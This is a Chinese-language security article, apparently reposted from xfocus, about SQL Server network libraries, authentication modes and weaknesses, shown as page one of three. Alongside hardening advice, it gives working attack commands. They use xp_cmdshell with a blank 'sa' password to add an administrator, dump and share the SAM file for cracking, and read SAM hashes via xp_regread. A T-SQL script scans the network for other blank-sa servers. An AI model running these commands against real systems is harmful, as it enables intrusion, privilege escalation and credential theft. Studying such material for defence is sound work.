关于SQLSERVER的一些问题

来源:互联网 发布:软件疲劳测试 编辑:程序博客网 时间:2024/06/09 20:17
<script type="text/javascript"><!--google_ad_client = "pub-2947489232296736";/* 728x15, 创建于 08-4-23MSDN */google_ad_slot = "3624277373";google_ad_width = 728;google_ad_height = 15;//--></script><script type="text/javascript"src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
<script type="text/javascript"><!--google_ad_client = "pub-2947489232296736";/* 160x600, 创建于 08-4-23MSDN */google_ad_slot = "4367022601";google_ad_width = 160;google_ad_height = 600;//--></script><script type="text/javascript"src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>

关于SQLSERVER的一些安全问题

BYXUNDI<安全焦点>
xundi1@21cn.com
www.xfocus.org

目前关于NT服务器的入侵,有很多种方法,如对IIS的漏洞进行利用,但
大家不知道注意到没有,其实通过与NT服务器相关联的SQL服务器
的例子也是很有比例的一种手段。大家可以参看下面的一个新闻报道:
http://www.vnunet.com/News/1110938。
Herbless入侵破坏的一些站点,如legoland.co.uk站点就是通过SQL服务器
的入侵而获得对系统的控制权而破坏的。所以对SQL服务器的保护是必不可
少的,这里我整理了一些漏洞供大家来参考,见笑,见笑。

----------------------------------------------------------------
我们先来看看SQL服务程序支持的网络库:

----------------------------------------------------------------
|NetworkProtocolLibraries|
----------------------------------------------------------------
|Protocollibrary|可能存在的漏洞|是否加密|
----------------------------------------------------------------
|Namedpipes|--使用NTSMB端口(TCP139,UDP137,|否|
|(有名管道)|138)来进行通信,这些可以被通||
||的控制,但如果内部网络可||
||随意访问的话也是一个不小的缺陷||
||--用户名字,密码和数据没有进行加||
||传输,任何人可以通过SNIFFER来||
||进行数据捕获。||
----------------------------------------------------------------
|IPs|--默认状态下开1433口,你可以使用|否|
||扫描器来查看这个端口。||
||可以被SNIFFER截获数据。||
----------------------------------------------------------------
|Multi-Protocol|--客户端需要支持NTRPCs;在不同|是|
||种类的环境中可能引起问题。||
||--默认情况下使用TCP随机端口,但||
||防火墙进行端口图固定实现(参||
||看KBQ164667)。||
||--需要注意加密选项是否选择,默||
||是不选择此选项的。||
----------------------------------------------------------------
|NWLink|--存在被SNIFFER截获数据的危险|否|
----------------------------------------------------------------
|AppleTalk(ADSP)|--存在被SNIFFER截获数据的危险|否|
----------------------------------------------------------------
|BanyanVines|--存在被SNIFFER截获数据的危险|否|
----------------------------------------------------------------

一般的推荐使用是:如果你能在Integrated(NT)Security上使用NamedPipes或者
Multi-protocol,那你就使用这些协议库,如果可能,尽量使用Multi-protocol
和使能加密选项。如果你上面几个不能使用,那就使用IPSockets协议,并改变
其默认的端口并随时检查系统保证无任何SNIFFER存在。并且,考虑使用一WEB服
务或者COM组件作为应用程序的businessobjectlayer,并在中间层和SQL服务程
序中使用安全通道(securechannel)。有不少第三方的产品可以加密这方面的通信。

-----------------------------------------------------------------------

下面再讲一下SQLSERVER的各种安全模式和它们怎样进行工作?

安全模式定义了一些SQLSERVER是怎样要使用它们服务的用户,请看下面
SQLSERVER6.5的安全模式和在SQLSERVER7.0做了改变的一些描述和区别:

-------------------------------------------------------------------
|安全模式|SQLSERVER6.5|SQLSERVER7.0改变地方|
-------------------------------------------------------------------
|Standard|--登陆定义在SQLSERVER里|--单独的标准模式在SQLSERVER|
|标准模式|而且给定密码。|没有使用了。|
||--SQLSERVER的登录帐户与||
||WINDOWNT分开||
-------------------------------------------------------------------
|Integrated|-使用安全管理器SQL的帐|--在这里成为"WindowsNTonly"|
|综合模式|户。|模式。|
||-用户在连接到SQLSERVER|--只工作在NT系统下,在WIN9X不|
||不需要特定分开LOGIN和|支持。|
||密码。||
||-密码从不存储在应用程序|--可以直接结合到NT的组中便于|
||中,并不以明文在网络中|管理,(注意有一BUILTIN组在|
||传输。|本地系统上产生).|
||-SQLSERVER可以使用NT的||
||的认证方式来认证用户并||
||可以使用如帐户过期等。||
||-需要NamedPipe或Multi-||
||Protocol库。||
--------------------------------------------------------------------
|Mixed|-提供上面的方式的一些特|--成为SQLSERVER和WINDOWSNT|
|混合性方式|征但有后退的东西是客户|模式。|
||端不能建立可信任连接。|--尽量使用WINDOWNTONLY模式||
--------------------------------------------------------------------

登录只不过是第一步,一旦用户登录,用户必须访问独立的数据库,要使上面
的成立,就必须在sysusers表里存在一表目给用户用的每个数据库。所以安全
请你注意在你的数据库中是否存在"guest"帐户和保证不会在你不注意的时候给
某些人访问你的数据库。

详细的大家可以参看微软的站点:

http://www.microsoft.com/technet/SQL/Technote/secure.asp


---------------------------------------------------------------------

关于SQLSERVER存在的一些安全问题:

存在"sa"帐户,密码就为空,而且这个密码是SQLSERVER安全模块成员,我们就
可以通过xp_cmdshellstoredprocedure(扩展存储过程)来进行命
令操作,如:

Xp_cmdshell"netusertestuserUgotHacked/ADD"
然后在:
Xp_cmdshell"netlocalgroupAdministratorstestuser/ADD"

这样攻击者就成功的在SQLSERVER上增加了一个用户。

当然远程的话,一般需要有1433口开着,通过MYSQL客户端进行连接。

当然你也可以使用:

Xp_cmdshell"rdisk/s-"

的方法,这样就在/winnt/repair目录里重建了信息而不提示用户。然后
在SAM备份以后,攻击者可以建立一个SMB连接到共享或者建立一个连接:

Xp_cmdshell"netsharegetsam=c:/winnt/repair"

利用共享获得这个文件,然后在使用l0phtcrack来跑吧。如果SMB端口被防火墙
控制了,或者关闭了,攻击者也可以拷贝sam._文件到WEB目录进行匿名浏览器
下载。如果人家没有开IIS,你何不用tftp呢:).

OK,通过这台被控制的SQLSERVER服务器,攻击者可以通过它来查找网络内部
其他机器来扩大战果,下面是一个SQL脚本来列举网络中其他SQLSERVER存在
空帐户'sa'的示例:

-----------------------------------------------------------------------

--Createtemptabletostoreenumeratedservers

SETNOCOUNTON

CREATETABLE#temp(shelldumpvarchar(255))

INSERT#tempEXECxp_cmdshell'osql-L'

DECLARE@current_servervarchar(255),@conn_stringvarchar(255)

DECLAREsql_cursorCURSORFORSELECT*FROM#temp

OPENsql_cursorFETCHNEXTFROMsql_cursorINTO@current_server

--Loopthroughpotentialtargetsandcheckfornullsaaccounts

--Iftargetisvulnerable,versioninformationwillbedisplayed

WHILE@@FETCH_STATUS=0

BEGIN

If@current_server<>'Servers:'

BEGIN

SELECT@current_server=rtrim(ltrim(@current_server))

SELECT@conn_string='execxp_cmdshell''osql-S'+@current_server+'-Usa-P-Q"select@@version"'''

PRINT'Attemptingconnectiontoserver:'+@current_server

EXECUTE(@conn_string)

PRINT'====================================================================='

END

FETCHNEXTFROMsql_cursorINTO@current_server

END

--Cleanup

CLOSEsql_cursor

DEALLOCATEsql_cursor

DROPTABLE#TEMP

----------------------------------------------------------------------

当然有些人也可能关闭xp_cmdshellextendedstoredprocedure(扩展存储过程),
我们也可以使用下面的方法:

xp_regread'HKEY_LOCAL_MACHINE','SECURITY/SAM/Domains/Account','F'

如果MSSQLSERVER服务在本地系统帐户下运行,并且如果系统上没有安装syskey,上面
的调用就可以返回中加密的密码或者SID。

--------------------------------------------------------------------------

共3页  1  
<script type="text/javascript"><!--google_ad_client = "pub-2947489232296736";/* 728x15, 创建于 08-4-23MSDN */google_ad_slot = "3624277373";google_ad_width = 728;google_ad_height = 15;//--></script><script type="text/javascript"src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
<script type="text/javascript"><!--google_ad_client = "pub-2947489232296736";/* 160x600, 创建于 08-4-23MSDN */google_ad_slot = "4367022601";google_ad_width = 160;google_ad_height = 600;//--></script><script type="text/javascript"src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>